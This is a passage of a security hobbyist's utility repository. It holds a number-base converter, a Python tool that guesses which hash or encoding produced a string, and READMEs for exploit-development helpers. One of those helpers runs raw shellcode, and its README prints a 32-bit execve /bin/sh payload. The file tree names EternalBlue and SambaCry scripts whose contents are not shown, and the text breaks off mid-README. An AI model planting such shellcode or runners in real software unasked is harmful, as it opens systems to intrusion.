├── .gitignore ├── README.md ├── converter ├── Makefile ├── README.md ├── functions.c ├── functions.h └── main.c ├── cryde ├── README.md ├── config.ini └── cryde.py ├── execshellcode ├── README.md └── execshellcode.c ├── findaddr ├── README.md └── findaddr.c ├── hex2str ├── README.md └── hex2str.c ├── init_scripts ├── Install_Docker_Debian.sh ├── VB_Debian.sh └── new_debian.sh ├── ms ├── double-pulsar.sh ├── ms17-010.sh └── sambacry.sh ├── pwsh ├── Base64.ps1 └── Test-ADCredential.ps1 ├── pytools ├── .gitignore ├── BeaufortCipher.py ├── Cipher.py ├── KeyCipher.py ├── PolyalphaCipher.py ├── PolybiusCipher.py ├── README.md ├── Substitution.py ├── Text.py ├── VigenereCipher.py ├── VigenereLikeCipher.py └── __init__.py ├── syscalls32.md └── syscalls64.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Libraries 12 | *.lib 13 | *.a 14 | *.la 15 | *.lo 16 | 17 | # Shared objects (inc. Windows DLLs) 18 | *.dll 19 | *.so 20 | *.so.* 21 | *.dylib 22 | 23 | # Executables 24 | *.exe 25 | *.out 26 | *.app 27 | *.i*86 28 | *.x86_64 29 | *.hex 30 | 31 | # Debug files 32 | *.dSYM/ 33 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Miscellaneous 2 | 3 | Some random day to day useful stuff I wrote a hundred times. Finally decided to centralize all of this in one place. If you have some code snippets or ideas, feel free to contribute/suggest. 4 | 5 | ### Converter 6 | 7 | Convert a number from base n to m, with n and m between 2 and 62 8 | 9 | ```sh 10 | /home/hackndo/misc $ ./converter 1c2 16 2 11 | 1c2 from base 16 to base 2 12 | 111000010 13 | ``` 14 | 15 | ### ExecShellcode 16 | 17 | Shellcode execution made simple (no perl/python needed) 18 | 19 | ```sh 20 | /home/hackndo/misc $ ./execshellcode32 "0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x89 0xc1 0x89 0xc2 0xb0 0x0b 0xcd 0x80 0x31 0xc0 0x40 0xcd 0x80" 21 | Shellcode Length: 28 22 | $ 23 | ``` 24 | 25 | ### FindAddr 26 | 27 | Retrieve any environment variable address 28 | 29 | ```sh 30 | /home/hackndo/misc $ ./findaddr SHELL 31 | SHELL address: 0x7fff0417d64c 32 | ``` 33 | 34 | ### Hex2Str 35 | 36 | Converts some hex ascii codes to string (usefull for char like 0x90 in shellcodes, which are not printable) 37 | 38 | ```sh 39 | /home/hackndo/misc $ ./hex2str "0x68 0x61 0x63 0x6b 0x6e 0x64 0x6f" 40 | hackndo 41 | ``` 42 | -------------------------------------------------------------------------------- /converter/Makefile: -------------------------------------------------------------------------------- 1 | all: main.o functions.o 2 | gcc main.o functions.o -o converter -lm 3 | 4 | main.o: main.c functions.h 5 | gcc -c main.c -o main.o 6 | 7 | functions.o: functions.c 8 | gcc -c functions.c -o functions.o 9 | 10 | clean: 11 | rm -rf *.o 12 | 13 | mrproper: clean 14 | rm -rf converter 15 | -------------------------------------------------------------------------------- /converter/README.md: -------------------------------------------------------------------------------- 1 | # Converter 2 | 3 | ### Version 4 | 1.0.0 5 | 6 | ### Compile 7 | Go to `converter` directory then run `make` 8 | 9 | ```sh 10 | $ git clone https://github.com/Hackndo/misc.git 11 | $ cd misc/converter 12 | $ make 13 | ``` 14 | 15 | ### Usage 16 | 17 | ```sh 18 | $ ./converter number [from_base] to_base 19 | ``` 20 | 21 | ### Help 22 | ```sh 23 | $ ./converter -h 24 | ``` 25 | 26 | ### Examples 27 | ```sh 28 | $ ./converter 0x1c 10 29 | 1c from base 16 to base 10 30 | 28 31 | $ ./converter 0b1001 16 32 | 1001 from base 2 to base 16 33 | 9 34 | $ ./converter ab7Z 62 8 35 | ab7Z from base 62 to base 8 36 | 41214111 37 | $ ./converter hackndo 36 10 38 | hackndo from base 36 to base 10 39 | 3763108020 40 | ``` 41 | 42 | -------------------------------------------------------------------------------- /converter/functions.c: -------------------------------------------------------------------------------- 1 | #include "functions.h" 2 | 3 | void display_help(char *pname) { 4 | printf("Usage : %s number [from_base] to_base\n", pname); 5 | printf("Examples :\n"); 6 | printf(" %s \\x1c 10\n", pname); 7 | printf(" => 28\n"); 8 | printf(" %s 0b1010010 8\n", pname); 9 | printf(" => 122\n"); 10 | printf(" %s 1djZj 62 10\n", pname); 11 | printf(" => 24246323\n"); 12 | } 13 | 14 | int guess_base(char *nbr) { 15 | if (strlen(nbr) <= 2) { 16 | return UNKNOWN_BASE; 17 | } 18 | switch (nbr[1]) { 19 | case 'b': 20 | return BASE_2; 21 | case 'o': 22 | return BASE_8; 23 | case 'd': 24 | return BASE_10; 25 | case 'x': 26 | return BASE_16; 27 | default: 28 | return UNKNOWN_BASE; 29 | } 30 | } 31 | 32 | char *parse_num(char *nbr) { 33 | char *result; 34 | int i; 35 | size_t size = strlen(nbr); 36 | 37 | result = (char *) malloc(size*sizeof(char) - 2 + 1); 38 | for (i=2; i < size; i++) { 39 | result[i-2] = nbr[i]; 40 | } 41 | result[size-2] = '\0'; 42 | return result; 43 | } 44 | 45 | char *convert_10_to_n(long int number_to_convert, int base) { 46 | char base_digits[63] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 47 | int converted_number[64]; 48 | int index=0; 49 | 50 | /* convert to the indicated base */ 51 | while (number_to_convert != 0) 52 | { 53 | converted_number[index] = (int) number_to_convert % base; 54 | number_to_convert = number_to_convert / base; 55 | ++index; 56 | } 57 | char *result = (char *) malloc(index * sizeof(char)); 58 | /* now print the result in reverse order */ 59 | --index; /* back up to last entry in the array */ 60 | int tmp = index; 61 | for( ; index>=0; index--) /* go backward through array */ 62 | { 63 | result[tmp-index] = base_digits[converted_number[index]]; 64 | } 65 | return result; 66 | } 67 | 68 | long int convert_n_to_10(const char *number_to_convert, int base) { 69 | if (base == 10) { 70 | return atol(number_to_convert); 71 | } 72 | char base_digits[63] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 73 | int index = 0; 74 | size_t size = strlen(number_to_convert); 75 | long int result= 0; 76 | for( ; index < size; index++) { 77 | char current_value = base <= 36 ? 78 | (char) toupper(number_to_convert[index]) : 79 | number_to_convert[index]; 80 | int pos = (int) (strchr(base_digits, current_value) - base_digits); 81 | result += pow(base, size-index-1) * pos; 82 | } 83 | return result; 84 | } -------------------------------------------------------------------------------- /converter/functions.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define UNKNOWN_BASE 0 10 | #define BASE_2 2 11 | #define BASE_8 8 12 | #define BASE_10 10 13 | #define BASE_16 16 14 | #define BASE_36 36 15 | #define BASE_52 52 16 | #define BASE_62 62 17 | #define BASE_64 64 18 | 19 | 20 | void display_help(char *pname); 21 | int guess_base(char *nbr); 22 | char *parse_num(char *nbr); 23 | char *convert_10_to_n(long int number_to_convert, int base); 24 | long int convert_n_to_10(const char *number_to_convert, int base); 25 | -------------------------------------------------------------------------------- /converter/main.c: -------------------------------------------------------------------------------- 1 | #include "functions.h" 2 | 3 | int main(int argc, char *argv[]) { 4 | if (argc < 2 || (argc == 2 && strncmp(argv[1], "-h", 2) != 0)) { 5 | fprintf(stderr, "Usage : %s number [from_base] to_base\n", argv[0]); 6 | exit(EXIT_FAILURE); 7 | } 8 | if (argc == 2 && strncmp(argv[1], "-h", 2) == 0) { 9 | display_help(argv[0]); 10 | exit(EXIT_SUCCESS); 11 | } 12 | 13 | char *number; 14 | int base_from; 15 | int base_to; 16 | bool are_cla_present = false; 17 | 18 | if (argc == 3) { 19 | base_from = guess_base(argv[1]); 20 | if (base_from == UNKNOWN_BASE) { 21 | printf("Couldn't find original base.\n"); 22 | return 1; 23 | } 24 | number = parse_num(argv[1]); 25 | base_to = atoi(argv[2]); 26 | } else { 27 | 28 | number = argv[1]; 29 | base_from = atoi(argv[2]); 30 | base_to = atoi(argv[3]); 31 | } 32 | 33 | printf("%s from base %d to base %d\n", number, base_from, base_to); 34 | printf("%s\n", convert_10_to_n(convert_n_to_10(number, base_from), base_to)); 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /cryde/README.md: -------------------------------------------------------------------------------- 1 | # CRYDE - CRYpto DEtector 2 | 3 | This tool aims to detect which kind of algorithm was used to produce a hash/cipher/checksum 4 | 5 | ### Requirements 6 | 7 | Python3.5+ 8 | 9 | ### Example 10 | 11 | ```sh 12 | pixis@hackndo:~/cryde $ python cryde.py 13 | 14 | ======= NEW CIPHER ======== 15 | 16 | [*] Options 17 | [+] Keep spaces : False 18 | [+] Keep ponctuation : True 19 | [*] Analytics (CI : Case Insensitive | CS : Case Insensitive) 20 | [+] String : ->019cf44a019cf44a019cf44a019cf44a<- 21 | [+] Length : 32 22 | [+] Length divisors : ['2', '4', '8', '16'] 23 | [+] Unique symbols (CI): ['0', '1', '4', '9', 'a', 'c', 'f'] 24 | [+] Unique symbols count (CI): 7 25 | [+] Unique symbols (CS): ['0', '1', '4', '9', 'a', 'c', 'f'] 26 | [+] Unique symbols count (CS): 7 27 | [+] Possible bases : ['16', '36', '62', '64'] 28 | 29 | [*] md5 30 | [+] possible_bases = 16 31 | [+] length = 32 32 | [OK] 33 | [*] Decimal 34 | [+] length_divisors = 2 35 | [-] possible_bases = 10 36 | [KO] 37 | [*] TWOFISH 38 | [+] possible_bases = 16 39 | [-] length_divisors = 32 40 | [KO] 41 | [*] sha-224 42 | [+] possible_bases = 16 43 | [-] length = 40 44 | [KO] 45 | [*] Octodecimal 46 | [-] possible_bases = 8 47 | [KO] 48 | [*] 3DES 49 | [+] possible_bases = 16 50 | [+] length_divisors = 16 51 | [OK] 52 | [*] Binary 53 | [-] possible_bases = 2 54 | [KO] 55 | [*] sha-256 56 | [+] possible_bases = 16 57 | [-] length = 64 58 | [KO] 59 | [*] Vigenere 60 | [+] possible_bases = ['26', '36', '52', '56'] 61 | [OK] 62 | [*] AES 63 | [+] possible_bases = 16 64 | [-] length_divisors = 32 65 | [KO] 66 | [*] CRC-32 67 | [+] possible_bases = 16 68 | [+] length = 32 69 | [OK] 70 | [*] CRC-64 71 | [+] possible_bases = 16 72 | [-] length = 64 73 | [KO] 74 | [*] sha-512 75 | [+] possible_bases = 16 76 | [-] length = 128 77 | [KO] 78 | [*] MISTY 79 | [+] possible_bases = 16 80 | [+] length_divisors = 16 81 | [OK] 82 | [*] polybe 83 | [-] possible_bases = 26 84 | [KO] 85 | [*] CRC-16 86 | [+] possible_bases = 16 87 | [-] length = 16 88 | [KO] 89 | [*] Hexadecimal 90 | [+] length_divisors = 2 91 | [+] possible_bases = 16 92 | [OK] 93 | [*] b64 94 | [+] length_divisors = 4 95 | [+] possible_bases = 64 96 | [OK] 97 | [*] Wolseley 98 | [-] possible_bases = 26 99 | [KO] 100 | [*] Rail Fence 101 | [-] possible_bases = 26 102 | [KO] 103 | [*] md2 104 | [+] possible_bases = 16 105 | [+] length = 32 106 | [OK] 107 | [*] md4 108 | [+] possible_bases = 16 109 | [+] length = 32 110 | [OK] 111 | [*] md6 112 | [+] possible_bases = 16 113 | [-] length = 128 114 | [KO] 115 | [*] sha-384 116 | [+] possible_bases = 16 117 | [-] length = 96 118 | [KO] 119 | [*] sha-1 120 | [+] possible_bases = 16 121 | [-] length = 40 122 | [KO] 123 | [*] morse 124 | [-] unique_symbols_ci = ['-', '.'] 125 | [KO] 126 | [*] ROT13 127 | [-] possible_bases = 26 128 | [KO] 129 | [*] DES 130 | [+] possible_bases = 16 131 | [+] length_divisors = 16 132 | [OK] 133 | [*] b32 134 | [+] length_divisors = 8 135 | [-] possible_bases = 32 136 | [KO] 137 | Results : ['3DES', 'CRC-32', 'DES', 'Hexadecimal', 'MISTY', 'Vigenere', 'b64', 'md2', 'md4', 'md5'] 138 | 139 | 140 | ======= NEW CIPHER ======== 141 | 142 | [*] Options 143 | [+] Keep spaces : False 144 | [+] Keep ponctuation : True 145 | [*] Analytics (CI : Case Insensitive | CS : Case Insensitive) 146 | [+] String : ->--..--.---<- 147 | [+] Length : 10 148 | [+] Length divisors : ['2', '5'] 149 | [+] Unique symbols (CI): ['-', '.'] 150 | [+] Unique symbols count (CI): 2 151 | [+] Unique symbols (CS): ['-', '.'] 152 | [+] Unique symbols count (CS): 2 153 | [+] Possible bases : [] 154 | 155 | [*] md5 156 | [-] possible_bases = 16 157 | [KO] 158 | [*] Decimal 159 | [+] length_divisors = 2 160 | [-] possible_bases = 10 161 | [KO] 162 | [*] TWOFISH 163 | [-] possible_bases = 16 164 | [KO] 165 | [*] sha-224 166 | [-] possible_bases = 16 167 | [KO] 168 | [*] Octodecimal 169 | [-] possible_bases = 8 170 | [KO] 171 | [*] 3DES 172 | [-] possible_bases = 16 173 | [KO] 174 | [*] Binary 175 | [-] possible_bases = 2 176 | [KO] 177 | [*] sha-256 178 | [-] possible_bases = 16 179 | [KO] 180 | [*] Vigenere 181 | [-] possible_bases = ['26', '36', '52', '56'] 182 | [KO] 183 | [*] AES 184 | [-] possible_bases = 16 185 | [KO] 186 | [*] CRC-32 187 | [-] possible_bases = 16 188 | [KO] 189 | [*] CRC-64 190 | [-] possible_bases = 16 191 | [KO] 192 | [*] sha-512 193 | [-] possible_bases = 16 194 | [KO] 195 | [*] MISTY 196 | [-] possible_bases = 16 197 | [KO] 198 | [*] polybe 199 | [-] possible_bases = 26 200 | [KO] 201 | [*] CRC-16 202 | [-] possible_bases = 16 203 | [KO] 204 | [*] Hexadecimal 205 | [+] length_divisors = 2 206 | [-] possible_bases = 16 207 | [KO] 208 | [*] b64 209 | [-] length_divisors = 4 210 | [KO] 211 | [*] Wolseley 212 | [-] possible_bases = 26 213 | [KO] 214 | [*] Rail Fence 215 | [-] possible_bases = 26 216 | [KO] 217 | [*] md2 218 | [-] possible_bases = 16 219 | [KO] 220 | [*] md4 221 | [-] possible_bases = 16 222 | [KO] 223 | [*] md6 224 | [-] possible_bases = 16 225 | [KO] 226 | [*] sha-384 227 | [-] possible_bases = 16 228 | [KO] 229 | [*] sha-1 230 | [-] possible_bases = 16 231 | [KO] 232 | [*] morse 233 | [+] unique_symbols_ci = ['-', '.'] 234 | [OK] 235 | [*] ROT13 236 | [-] possible_bases = 26 237 | [KO] 238 | [*] DES 239 | [-] possible_bases = 16 240 | [KO] 241 | [*] b32 242 | [-] length_divisors = 8 243 | [KO] 244 | Results : ['morse'] 245 | 246 | 247 | ======= NEW CIPHER ======== 248 | 249 | [*] Options 250 | [+] Keep spaces : False 251 | [+] Keep ponctuation : True 252 | [*] Analytics (CI : Case Insensitive | CS : Case Insensitive) 253 | [+] String : ->JBSWY3DPEB3W64TMMQ======<- 254 | [+] Length : 24 255 | [+] Length divisors : ['2', '3', '4', '6', '8', '12'] 256 | [+] Unique symbols (CI): ['3', '4', '6', '=', 'b', 'd', 'e', 'j', 'm', 'p', 'q', 's', 't', 'w', 'y'] 257 | [+] Unique symbols count (CI): 15 258 | [+] Unique symbols (CS): ['3', '4', '6', '=', 'B', 'D', 'E', 'J', 'M', 'P', 'Q', 'S', 'T', 'W', 'Y'] 259 | [+] Unique symbols count (CS): 15 260 | [+] Possible bases : ['32', '64'] 261 | 262 | [*] md5 263 | [-] possible_bases = 16 264 | [KO] 265 | [*] Decimal 266 | [+] length_divisors = 2 267 | [-] possible_bases = 10 268 | [KO] 269 | [*] TWOFISH 270 | [-] possible_bases = 16 271 | [KO] 272 | [*] sha-224 273 | [-] possible_bases = 16 274 | [KO] 275 | [*] Octodecimal 276 | [-] possible_bases = 8 277 | [KO] 278 | [*] 3DES 279 | [-] possible_bases = 16 280 | [KO] 281 | [*] Binary 282 | [-] possible_bases = 2 283 | [KO] 284 | [*] sha-256 285 | [-] possible_bases = 16 286 | [KO] 287 | [*] Vigenere 288 | [-] possible_bases = ['26', '36', '52', '56'] 289 | [KO] 290 | [*] AES 291 | [-] possible_bases = 16 292 | [KO] 293 | [*] CRC-32 294 | [-] possible_bases = 16 295 | [KO] 296 | [*] CRC-64 297 | [-] possible_bases = 16 298 | [KO] 299 | [*] sha-512 300 | [-] possible_bases = 16 301 | [KO] 302 | [*] MISTY 303 | [-] possible_bases = 16 304 | [KO] 305 | [*] polybe 306 | [-] possible_bases = 26 307 | [KO] 308 | [*] CRC-16 309 | [-] possible_bases = 16 310 | [KO] 311 | [*] Hexadecimal 312 | [+] length_divisors = 2 313 | [-] possible_bases = 16 314 | [KO] 315 | [*] b64 316 | [+] length_divisors = 4 317 | [+] possible_bases = 64 318 | [OK] 319 | [*] Wolseley 320 | [-] possible_bases = 26 321 | [KO] 322 | [*] Rail Fence 323 | [-] possible_bases = 26 324 | [KO] 325 | [*] md2 326 | [-] possible_bases = 16 327 | [KO] 328 | [*] md4 329 | [-] possible_bases = 16 330 | [KO] 331 | [*] md6 332 | [-] possible_bases = 16 333 | [KO] 334 | [*] sha-384 335 | [-] possible_bases = 16 336 | [KO] 337 | [*] sha-1 338 | [-] possible_bases = 16 339 | [KO] 340 | [*] morse 341 | [-] unique_symbols_ci = ['-', '.'] 342 | [KO] 343 | [*] ROT13 344 | [-] possible_bases = 26 345 | [KO] 346 | [*] DES 347 | [-] possible_bases = 16 348 | [KO] 349 | [*] b32 350 | [+] length_divisors = 8 351 | [+] possible_bases = 32 352 | [OK] 353 | Results : ['b32', 'b64'] 354 | 355 | ``` 356 | -------------------------------------------------------------------------------- /cryde/config.ini: -------------------------------------------------------------------------------- 1 | ; [Algo name] 2 | ; length = When constant length is expected, like 32 chars for md5 3 | ; length_divisors = When length needs to be a mutliple of an integer to be valid, like mutliple of 4 for base64 4 | ; unique_symbols_ci = List of unique symbols that NEED to appear, case insensitive 5 | ; unique_symbols_cs = List of unique symbols that NEED to appear, case sensitive 6 | ; max_unique_symbols_ci_count = Max count of unique symbols that NEED to appear, case insensitive 7 | ; max_unique_symbols_cs_count = Max count of unique symbols that NEED to appear, case sensitive 8 | ; min_unique_symbols_ci_count = Min count of unique symbols that NEED to appear, case insensitive 9 | ; min_unique_symbols_cs_count = Min count of unique symbols that NEED to appear, case sensitive 10 | ; possible_bases = Expected bases for characters, like base 16 for md5 11 | 12 | 13 | ; Hash 14 | 15 | [md2] 16 | length = 32 17 | possible_bases = 16 18 | 19 | [md4] 20 | length = 32 21 | possible_bases = 16 22 | 23 | [md5] 24 | length = 32 25 | possible_bases = 16 26 | 27 | [md6] 28 | length = 128 29 | possible_bases = 16 30 | 31 | [sha-1] 32 | length = 40 33 | possible_bases = 16 34 | 35 | [sha-224] 36 | length = 40 37 | possible_bases = 16 38 | 39 | [sha-256] 40 | length = 64 41 | possible_bases = 16 42 | 43 | [sha-384] 44 | length = 96 45 | possible_bases = 16 46 | 47 | [sha-512] 48 | length = 128 49 | possible_bases = 16 50 | 51 | 52 | ; CRC 53 | 54 | [CRC-16] 55 | length = 16 56 | possible_bases = 16 57 | 58 | [CRC-32] 59 | length = 32 60 | possible_bases = 16 61 | 62 | [CRC-64] 63 | length = 64 64 | possible_bases = 16 65 | 66 | 67 | ; Cryptography 68 | 69 | [ROT13] 70 | possible_bases = 26 71 | 72 | [Vigenere] 73 | possible_bases = 26,36,52,56 74 | 75 | [polybe] 76 | max_unique_symbols_ci_count = 25 77 | possible_bases = 26 78 | 79 | [Wolseley] 80 | max_unique_symbols_ci_count = 25 81 | possible_bases = 26 82 | 83 | [Rail Fence] 84 | possible_bases = 26 85 | 86 | [morse] 87 | unique_symbols_ci = -,. 88 | possible_bases = morse 89 | 90 | [DES] 91 | length_divisors = 16 92 | possible_bases = 16 93 | 94 | [3DES] 95 | length_divisors = 16 96 | possible_bases = 16 97 | 98 | [AES] 99 | length_divisors = 32 100 | possible_bases = 16 101 | 102 | [TWOFISH] 103 | length_divisors = 32 104 | possible_bases = 16 105 | 106 | [MISTY] 107 | length_divisors = 16 108 | possible_bases = 16 109 | 110 | ; Bases 111 | 112 | [Binary] 113 | possible_bases = 2 114 | 115 | [Octodecimal] 116 | possible_bases = 8 117 | 118 | [Decimal] 119 | possible_bases = 10 120 | length_divisors=2 121 | 122 | [Hexadecimal] 123 | possible_bases = 16 124 | length_divisors = 2 125 | 126 | [b32] 127 | possible_bases = 32 128 | length_divisors = 8 129 | 130 | [b64] 131 | possible_bases = 64 132 | length_divisors = 4 133 | -------------------------------------------------------------------------------- /cryde/cryde.py: -------------------------------------------------------------------------------- 1 | import re 2 | import json 3 | import configparser as cp 4 | 5 | DEBUG = True 6 | 7 | class Utils(object): 8 | """ 9 | Check if at least on element of el1 is in el2 10 | """ 11 | @staticmethod 12 | def has_one_in_common(el1, el2): 13 | if isinstance(el1, list) and isinstance(el2, list): 14 | return any(str(c) in [str(d) for d in el2] for c in el1) 15 | elif isinstance(el2, list): 16 | return str(el1) in [str(c) for c in el2] 17 | elif isinstance(el1, list): 18 | return any(str(c)==str(el2) for c in el1) 19 | else: 20 | return str(el1) == str(el2) 21 | 22 | @staticmethod 23 | def is_higher_than(el1,el2): 24 | return int(el1) >= int(el2) 25 | 26 | @staticmethod 27 | def is_lower_than(el1,el2): 28 | return int(el1) <= int(el2) 29 | 30 | 31 | @staticmethod 32 | def log(s, force=False): 33 | if DEBUG or force: 34 | print(s) 35 | 36 | class Settings(object): 37 | def __init__(self, config_file, sep=","): 38 | _config = cp.ConfigParser() 39 | _config.read(config_file) 40 | self.config = {} 41 | for section in _config.sections(): 42 | self.config[section] = {} 43 | for criteria, value in _config[section].items(): 44 | if criteria == "cs": 45 | self.config[section][criteria] = True if value == "1" else False 46 | if sep in value: 47 | self.config[section][criteria] = value.split(sep) 48 | else: 49 | self.config[section][criteria] = value 50 | 51 | class Cryde(object): 52 | def __init__(self, cipher, config_file="config.ini"): 53 | self.cipher = cipher 54 | self.settings = Settings(config_file=config_file) 55 | 56 | 57 | def get_possible_algorithms(self): 58 | result = [] 59 | for section in self.settings.config.keys(): 60 | Utils.log("[*] " + section) 61 | if self.is_valid(section): 62 | Utils.log("\t[OK] ") 63 | result.append(section) 64 | else: 65 | Utils.log("\t[KO] ") 66 | result.sort() 67 | return result 68 | 69 | def is_valid(self, section): 70 | # TODO : Implement case sensitive from config file 71 | for criteria, value in self.settings.config[section].items(): 72 | if criteria.startswith("min_"): 73 | criteria = criteria.replace("min_","") 74 | checker = Utils.is_higher_than 75 | elif criteria.startswith("max_"): 76 | criteria = criteria.replace("max_","") 77 | checker = Utils.is_lower_than 78 | else: 79 | checker = Utils.has_one_in_common 80 | 81 | try: 82 | c_criteria = getattr(self.cipher,criteria) 83 | if not checker(c_criteria, value): 84 | Utils.log("\t[-] " + criteria + " = " + str(value)) 85 | return False 86 | Utils.log("\t[+] " + criteria + " = " + str(value)) 87 | except AttributeError: 88 | Utils.log("\t[!] Criteria " + criteria + " inexistant") 89 | 90 | return True 91 | 92 | 93 | class Cipher(object): 94 | def __init__(self, s, *args, **kwargs): 95 | self.keep_spaces = kwargs.get("spaces", True) 96 | self.keep_ponctuation = kwargs.get("ponctuation", True) 97 | self.s = self.sanitize(s) 98 | self.length = self.get_length() 99 | self.length_divisors = self.get_length_divisors() 100 | self.unique_symbols_ci = self.get_unique_symbols(ci=True) 101 | self.unique_symbols_cs = self.get_unique_symbols(ci=False) 102 | self.unique_symbols_ci_count = self.get_unique_symbols_count(ci=True) 103 | self.unique_symbols_cs_count = self.get_unique_symbols_count(ci=False) 104 | self.possible_bases = self.get_possible_bases() 105 | 106 | def __str__(self): 107 | output = "[*] Options\n" 108 | output += "\t[+] Keep spaces : " + ("True" if self.keep_spaces else "False") + "\n" 109 | output += "\t[+] Keep ponctuation : " + ("True" if self.keep_ponctuation else "False") + "\n" 110 | output += "[*] Analytics (CI : Case Insensitive | CS : Case Insensitive)\n" 111 | output += "\t[+] String : ->" + self.s + "<-\n" 112 | output += "\t[+] Length : " + str(self.length) + "\n" 113 | output += "\t[+] Length divisors : " + str(self.length_divisors) + "\n" 114 | output += "\t[+] Unique symbols (CI): " + str(self.unique_symbols_ci) + "\n" 115 | output += "\t[+] Unique symbols count (CI): " + str(self.unique_symbols_ci_count) + "\n" 116 | output += "\t[+] Unique symbols (CS): " + str(self.unique_symbols_cs) + "\n" 117 | output += "\t[+] Unique symbols count (CS): " + str(self.unique_symbols_cs_count) + "\n" 118 | output += "\t[+] Possible bases : " + str(self.possible_bases) + "\n" 119 | return output 120 | 121 | def get_length(self): 122 | return len(self.s) 123 | 124 | def get_length_divisors(self): 125 | return [str(i) for i in range(2, self.length) if self.length%i == 0] 126 | 127 | 128 | def get_unique_symbols(self, ci=True): 129 | result = list(set([c.lower() if ci else c for c in self.s])) 130 | result.sort() 131 | return result 132 | 133 | def get_unique_symbols_count(self, ci=True): 134 | return len(self.unique_symbols_ci) if ci else len(self.unique_symbols_cs) 135 | 136 | def get_possible_bases(self): 137 | 138 | bases = { 139 | "2": { 140 | "ci": False, 141 | "chars": ['0','1'] 142 | }, 143 | "8": { 144 | "ci": False, 145 | "chars": ['0','1','2','3','4','5','6','7'] 146 | }, 147 | "16": { 148 | "ci": True, 149 | "chars": ['0','1','2','3','4','5','6','7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'] 150 | }, 151 | "26": { 152 | "ci": True, 153 | "chars": ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] 154 | }, 155 | "32": { 156 | "ci": True, 157 | "chars": ['2','3','4','5','6','7','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '='] 158 | }, 159 | "36": { 160 | "ci": True, 161 | "chars": ['0','1','2','3','4','5','6','7','8','9','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] 162 | }, 163 | "52": { 164 | "ci": False, 165 | "chars": ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] 166 | }, 167 | "62": { 168 | "ci": False, 169 | "chars": ['0','1','2','3','4','5','6','7','8','9','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] 170 | }, 171 | "64": { 172 | "ci": False, 173 | "chars": ['/','=','0','1','2','3','4','5','6','7','8','9','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] 174 | }, 175 | "morse": { 176 | "ci": True, 177 | "chars": ["-", "."] 178 | } 179 | } 180 | 181 | possible_bases = [] 182 | for base_k, base in bases.items(): 183 | if all(c.lower() in base["chars"] if base["ci"] else c in base["chars"] for c in self.s): 184 | possible_bases.append(base_k) 185 | possible_bases.sort() 186 | return possible_bases 187 | 188 | 189 | def sanitize(self, s): 190 | if not self.keep_ponctuation: 191 | s = re.compile('[^a-zA-Z0-9 ]').sub('', s) 192 | return s if self.keep_spaces else s.replace(" ", "") 193 | 194 | 195 | def main(): 196 | config_file = "./config.ini" 197 | ciphers = [ 198 | Cipher("019cf44a019cf44a019cf44a019cf44a", spaces=False), 199 | Cipher("--. .--. ---", spaces=False), 200 | Cipher("JBSWY3DPEB3W64TMMQ======", spaces=False), 201 | Cipher("MN_g-q4trIizs6ekvdF93U0s5fY"), 202 | ] 203 | for cipher in ciphers: 204 | print("\n======= NEW CIPHER ========\n") 205 | print(cipher) 206 | c = Cryde(cipher=cipher, config_file=config_file) 207 | print("Results : " + str(c.get_possible_algorithms()) + "\n") 208 | 209 | 210 | if __name__ == '__main__': 211 | main() 212 | -------------------------------------------------------------------------------- /execshellcode/README.md: -------------------------------------------------------------------------------- 1 | # ExecShellcode 2 | 3 | Execute given shellcode 4 | 5 | ### Version 6 | 1.0.0 7 | 8 | ### Compile 9 | **32 bits shellcodes** 10 | ```sh 11 | $ gcc -Wall -m32 -Wl,-z,execstack -o execshellcode32 execshellcode.c 12 | ``` 13 | **64 bits shellcodes** 14 | ```sh 15 | $ gcc -Wall -Wl,-z,execstack -o execshellcode64 execshellcode.c 16 | ``` 17 | 18 | ### Usage 19 | 20 | ```sh 21 | $ ./execshellcode 22 | ``` 23 | 24 | ### Examples 25 | **32 bits shellcodes** 26 | ```sh 27 | $ ./execshellcode32 "31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 89 c1 89 c2 b0 0b cd 80 31 c0 40 cd 80" 28 | Shellcode Length: 